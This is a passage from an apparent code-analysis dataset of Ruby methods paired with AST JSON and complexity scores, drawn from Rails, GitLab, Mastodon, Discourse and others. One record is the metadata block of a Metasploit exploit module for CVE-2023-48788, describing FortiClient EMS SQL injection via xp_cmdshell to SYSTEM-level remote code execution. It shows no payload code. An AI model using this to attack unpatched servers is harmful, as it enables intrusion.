int\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"properties\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"upto\",{\"type\":\"lvar\",\"children\":[\"property_count\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"k\",{\"type\":\"send\",\"children\":[null,\"mbdb_read_string\"]}]},{\"type\":\"lvasgn\",\"children\":[\"v\",{\"type\":\"send\",\"children\":[null,\"mbdb_read_string\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"properties\"]}]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"k\"]},{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"entry_offsets\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"start_offset\"]}]},{\"type\":\"lvar\",\"children\":[\"info\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"mbdb_data=\",{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"1268c4ed-83b9-44a3-9acf-38ae9d61f3b1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/dashboard/snippet/edit.rb","start_line":67,"raw_source":"def save_changes\n            sleep 1 # debounce delay\n            click_element_coordinates('submit-button')\n            wait_until(reload: false) do\n              has_no_element?('file-name-field')\n            end\n          end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"save_changes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"click_element_coordinates\",{\"type\":\"str\",\"children\":[\"submit-button\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wait_until\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reload\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"has_no_element?\",{\"type\":\"str\",\"children\":[\"file-name-field\"]}]}]}]}]}","id":"19ddd911-5e80-47d1-a571-94e863b47942"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/redundant_self_assignment_branch.rb","start_line":35,"raw_source":"def on_lvasgn(node)\n          expression = node.expression\n\n          return unless use_if_and_else_branch?(expression)\n\n          if_branch = expression.if_branch\n          else_branch = expression.else_branch\n          return if inconvertible_to_modifier?(if_branch, else_branch)\n\n          if self_assign?(node.name, if_branch)\n            register_offense(expression, if_branch, else_branch, 'unless')\n          elsif self_assign?(node.name, else_branch)\n            register_offense(expression, else_branch, if_branch, 'if')\n          end\n        end","complexity_score":19.0,"ast_json":"{\"type\":\"def\",\"children\":[\"on_lvasgn\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expression\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"expression\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"use_if_and_else_branch?\",{\"type\":\"lvar\",\"children\":[\"expression\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"if_branch\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expression\"]},\"if_branch\"]}]},{\"type\":\"lvasgn\",\"children\":[\"else_branch\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expression\"]},\"else_branch\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inconvertible_to_modifier?\",{\"type\":\"lvar\",\"children\":[\"if_branch\"]},{\"type\":\"lvar\",\"children\":[\"else_branch\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"self_assign?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"name\"]},{\"type\":\"lvar\",\"children\":[\"if_branch\"]}]},{\"type\":\"send\",\"children\":[null,\"register_offense\",{\"type\":\"lvar\",\"children\":[\"expression\"]},{\"type\":\"lvar\",\"children\":[\"if_branch\"]},{\"type\":\"lvar\",\"children\":[\"else_branch\"]},{\"type\":\"str\",\"children\":[\"unless\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"self_assign?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"name\"]},{\"type\":\"lvar\",\"children\":[\"else_branch\"]}]},{\"type\":\"send\",\"children\":[null,\"register_offense\",{\"type\":\"lvar\",\"children\":[\"expression\"]},{\"type\":\"lvar\",\"children\":[\"else_branch\"]},{\"type\":\"lvar\",\"children\":[\"if_branch\"]},{\"type\":\"str\",\"children\":[\"if\"]}]},null]}]}]}]}","id":"cf309147-42bc-4bee-9bd2-7feb3473f923"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/support/system_helpers.rb","start_line":335,"raw_source":"def get_style(element, key)\n    script = \"window.getComputedStyle(arguments[0]).getPropertyValue(arguments[1])\"\n    page.evaluate_script(script, element, key)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_style\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"element\"]},{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"script\",{\"type\":\"str\",\"children\":[\"window.getComputedStyle(arguments[0]).getPropertyValue(arguments[1])\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"evaluate_script\",{\"type\":\"lvar\",\"children\":[\"script\"]},{\"type\":\"lvar\",\"children\":[\"element\"]},{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}","id":"17bdbd60-b5b3-4265-a198-8e49c11a297d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/concerns/update_repository_storage_methods.rb","start_line":106,"raw_source":"def same_filesystem?\n    strong_memoize(:same_filesystem) do\n      Gitlab::GitalyClient.filesystem_id(source_storage_name) == Gitlab::GitalyClient.filesystem_id(destination_storage_name)\n    end\n  end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"same_filesystem?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"same_filesystem\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"GitalyClient\"]},\"filesystem_id\",{\"type\":\"send\",\"children\":[null,\"source_storage_name\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"GitalyClient\"]},\"filesystem_id\",{\"type\":\"send\",\"children\":[null,\"destination_storage_name\"]}]}]}]}]}","id":"29804c31-28a2-46ed-8c93-810fdad80317"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/journey/scanner.rb","start_line":69,"raw_source":"def next_byte_is_not_a_token?\n          !STATIC_TOKENS[@scanner.string.getbyte(@scanner.pos + 1)]\n        end","complexity_score":9.05,"ast_json":"{\"type\":\"def\",\"children\":[\"next_byte_is_not_a_token?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"STATIC_TOKENS\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@scanner\"]},\"string\"]},\"getbyte\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@scanner\"]},\"pos\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},\"!\"]}]}","id":"08e79856-72a5-47b6-bc2f-5b1d03f59bd9"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/lib/identity_cache/cached/reference/has_many.rb","start_line":92,"raw_source":"def singular_name\n          name.to_s.singularize\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"singular_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"to_s\"]},\"singularize\"]}]}","id":"aa611a8e-3a4c-4387-9824-4925852d28ee"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/update_query_from_params_service.rb","start_line":118,"raw_source":"def apply_display_representation(params)\n    query.display_representation = params[:display_representation] if params.key?(:display_representation)\n  end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"apply_display_representation\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"display_representation\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\"]},\"display_representation=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"display_representation\"]}]}]},null]}]}","id":"f6fcdc19-b6af-421b-8e22-e00fc1274baa"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/db_timestamps_mover.rb","start_line":45,"raw_source":"def move_to_yesterday(date)\n    days = (Date.today.prev_day - date).to_i\n    move_by days\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"move_to_yesterday\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"date\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"days\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"today\"]},\"prev_day\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"date\"]}]}]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[null,\"move_by\",{\"type\":\"lvar\",\"children\":[\"days\"]}]}]}]}","id":"0cad4ce0-80f8-4419-9595-c61feb3e1881"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/inflector/methods.rb","start_line":315,"raw_source":"def safe_constantize(camel_cased_word)\n      constantize(camel_cased_word)\n    rescue NameError => e\n      raise if e.name && !(camel_cased_word.to_s.split(\"::\").include?(e.name.to_s) ||\n        e.name.to_s == camel_cased_word.to_s)\n    rescue LoadError => e\n      message = e.respond_to?(:original_message) ? e.original_message : e.message\n      raise unless /Unable to autoload constant #{const_regexp(camel_cased_word)}/.match?(message)\n    end","complexity_score":37.4,"ast_json":"{\"type\":\"def\",\"children\":[\"safe_constantize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"camel_cased_word\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"constantize\",{\"type\":\"lvar\",\"children\":[\"camel_cased_word\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NameError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"camel_cased_word\"]},\"to_s\"]},\"split\",{\"type\":\"str\",\"children\":[\"::\"]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"name\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"name\"]},\"to_s\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"camel_cased_word\"]},\"to_s\"]}]}]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\"]},null]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LoadError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"original_message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"original_message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to autoload constant \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"const_regexp\",{\"type\":\"lvar\",\"children\":[\"camel_cased_word\"]}]}]},{\"type\":\"regopt\",\"children\":[]}]},\"match?\",{\"type\":\"lvar\",\"children\":[\"message\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\"]}]}]}]},null]}]}","id":"a2676f73-f66f-47f1-b6cc-73c2e4474187"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/trends/preview_card_filter.rb","start_line":17,"raw_source":"def results\n    scope = initial_scope\n\n    params.each do |key, value|\n      next if IGNORED_PARAMS.include?(key.to_s)\n\n      scope.merge!(scope_for(key, value.to_s.strip)) if value.present?\n    end\n\n    scope\n  end","complexity_score":17.8,"ast_json":"{\"type\":\"def\",\"children\":[\"results\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"send\",\"children\":[null,\"initial_scope\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IGNORED_PARAMS\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_s\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"merge!\",{\"type\":\"send\",\"children\":[null,\"scope_for\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_s\"]},\"strip\"]}]}]},null]}]}]},{\"type\":\"lvar\",\"children\":[\"scope\"]}]}]}","id":"5d864fb0-92b8-4b8f-9673-d6c7d2b5f07f"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/podcasts/create_episode.rb","start_line":3,"raw_source":"def self.call(...)\n      new(...).call\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"call\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"forwarded_args\",\"children\":[]}]},\"call\"]}]}","id":"e1e581f0-363f-4c84-9819-f66ba0072fcb"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/completions/endpoints/anthropic.rb","start_line":156,"raw_source":"def processor\n          @processor ||=\n            DiscourseAi::Completions::AnthropicMessageProcessor.new(\n              streaming_mode: @streaming_mode,\n              partial_tool_calls: partial_tool_calls,\n              output_thinking: output_thinking,\n            )\n        end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"processor\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@processor\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Completions\"]},\"AnthropicMessageProcessor\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"streaming_mode\"]},{\"type\":\"ivar\",\"children\":[\"@streaming_mode\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partial_tool_calls\"]},{\"type\":\"send\",\"children\":[null,\"partial_tool_calls\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"output_thinking\"]},{\"type\":\"send\",\"children\":[null,\"output_thinking\"]}]}]}]}]}]}","id":"a6073275-956e-457b-9882-272660de5920"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/lib/mastodon/cli/maintenance.rb","start_line":229,"raw_source":"def schema_has_instances_view?\n      migrator_version >= 2020_12_06_004238\n    end","complexity_score":2.5,"ast_json":"{\"type\":\"def\",\"children\":[\"schema_has_instances_view?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"migrator_version\"]},\">=\",{\"type\":\"int\",\"children\":[20201206004238]}]}]}","id":"3b35fc93-2430-4d75-b0ea-d3186ff2a3a8"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/admin/reports_controller.rb","start_line":84,"raw_source":"def report_params\n    params.permit(:category, rule_ids: [])\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"report_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rule_ids\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}","id":"705bd550-8112-4ad9-b555-3cdb02a636da"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/forticlient_ems_fctid_sqli.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'FortiNet FortiClient Endpoint Management Server FCTID SQLi to RCE',\n        'Description' => %q{\n          An SQLi injection vulnerability exists in FortiNet FortiClient EMS (Endpoint Management Server).\n          FortiClient EMS serves as an endpoint management solution tailored for enterprises, offering a centralized\n          platform for overseeing enrolled endpoints. The SQLi is vulnerability is due to user controller strings which\n          can be sent directly into database queries.\n\n          FcmDaemon.exe is the main service responsible for communicating with enrolled clients. By default it listens on port 8013\n          and communicates with FCTDas.exe which is responsible for translating requests and sending them to the database.\n          In the message header of a specific request sent between the two services, the FCTUID parameter is vulnerable\n          SQLi. The SQLi can used to enable the xp_cmdshell which can then be used to obtain unauthenticated remote code\n          execution in the context of NT AUTHORITY\\SYSTEM\n\n          Affected versions of FortiClient EMS include:\n          7.2.0 through 7.2.2\n          7.0.1 through 7.0.10\n\n          Upgrading to either 7.2.3, 7.0.11 or above is recommended by FortiNet.\n\n          It should be noted that in order to be vulnerable, at least one endpoint needs to be enrolled / managed by FortiClient\n          EMS for the necessary vulnerable services to be available.\n        },\n        'Author' => [\n          'Zach Hanley',     # Analysis & PoC\n          'James Horseman',  # Analysis & PoC\n          'jheysel-r7',      # Msf module\n          'Spencer McIntyre' # Msf module assistance\n        ],\n        'References' => [\n          [ 'URL', 'https://www.horizon3.ai/attack-research/attack-blogs/cve-2023-48788-fortinet-forticlientems-sql-injection-deep-dive/'],\n          [ 'URL', 'https://www.horizon3.ai/attack-research/attack-blogs/cve-2023-48788-revisiting-fortinet-forticlient-ems-to-exploit-7-2-x/'],\n          [ 'URL', 'https://github.com/horizon3ai/CVE-2023-48788/blob/main/CVE-2023-48788.py'],\n          [ 'CVE', '2023-48788']\n        ],\n        'License' => MSF_LICENSE,\n        'Platform' => 'win',\n        'Privileged' => true,\n        'Arch' => [ ARCH_CMD ],\n        'Targets' => [\n          [ 'Automatic Target', {}]\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2024-04-21',\n        'DefaultOptions' => {\n          'SSL' => true,\n          'RPORT' => 8013\n        },\n        'Notes' => {\n          'Stability' => [ CRASH_SAFE ],\n          'SideEffects' => [ IOC_IN_LOGS ],\n          'Reliability' => [ REPEATABLE_SESSION ]\n        }\n      )\n    )\n  end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"FortiNet FortiClient Endpoint Management Server FCTID SQLi to RCE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          An SQLi injection vulnerability exists in FortiNet FortiClient EMS (Endpoint Management Server).\\n\"]},{\"type\":\"str\",\"children\":[\"          FortiClient EMS serves as an endpoint management solution tailored for enterprises, offering a centralized\\n\"]},{\"type\":\"str\",\"children\":[\"          platform for overseeing enrolled endpoints. The SQLi is vulnerability is due to user controller strings which\\n\"]},{\"type\":\"str\",\"children\":[\"          can be sent directly into database queries.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          FcmDaemon.exe is the main service responsible for communicating with enrolled clients. By default it listens on port 8013\\n\"]},{\"type\":\"str\",\"children\":[\"          and communicates with FCTDas.exe which is responsible for translating requests and sending them to the database.\\n\"]},{\"type\":\"str\",\"children\":[\"          In the message header of a specific request sent between the two services, the FCTUID parameter is vulnerable\\n\"]},{\"type\":\"str\",\"children\":[\"          SQLi. The SQLi can used to enable the xp_cmdshell which can then be used to obtain unauthenticated remote code\\n\"]},{\"type\":\"str\",\"children\":[\"          execution in the context of NT AUTHORITY\\\\SYSTEM\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Affected versions of FortiClient EMS include:\\n\"]},{\"type\":\"str\",\"children\":[\"          7.2.0 through 7.2.2\\n\"]},{\"type\":\"str\",\"children\":[\"          7.0.1 through 7.0.10\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Upgrading to either 7.2.3, 7.0.11 or above is recommended by FortiNet.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          It should be noted that in order to be vulnerable, at least one endpoint needs to be enrolled / managed by FortiClient\\n\"]},{\"type\":\"str\",\"children\":[\"          EMS for the necessary vulnerable services to be available.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Zach Hanley\"]},{\"type\":\"str\",\"children\":[\"James Horseman\"]},{\"type\":\"str\",\"children\":[\"jheysel-r7\"]},{\"type\":\"str\",\"children\":[\"Spencer McIntyre\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.horizon3.ai/attack-research/attack-blogs/cve-2023-48788-fortinet-forticlientems-sql-injection-deep-dive/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.horizon3.ai/attack-research/attack-blogs/cve-2023-48788-revisiting-fortinet-forticlient-ems-to-exploit-7-2-x/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/horizon3ai/CVE-2023-48788/blob/main/CVE-2023-48788.py\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2023-48788\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic Target\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2024-04-21\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[8013]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]}]}]}]}]}]}]}","id":"c0664bea-b621-4635-9575-2878bc421ce0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/gitlab/httparty.rb","start_line":31,"raw_source":"def on_send(node)\n          if httparty_node?(node)\n            add_offense(node, message: MSG_SEND) do |corrector|\n              _, method_name, *arg_nodes = *node\n\n              replacement = \"Gitlab::HTTP.#{method_name}(#{arg_nodes.map(&:source).join(', ')})\"\n\n              corrector.replace(node, replacement)\n            end\n          elsif includes_httparty?(node)\n            add_offense(node, message: MSG_INCLUDE) do |corrector|\n              corrector.remove(node)\n            end\n          end\n        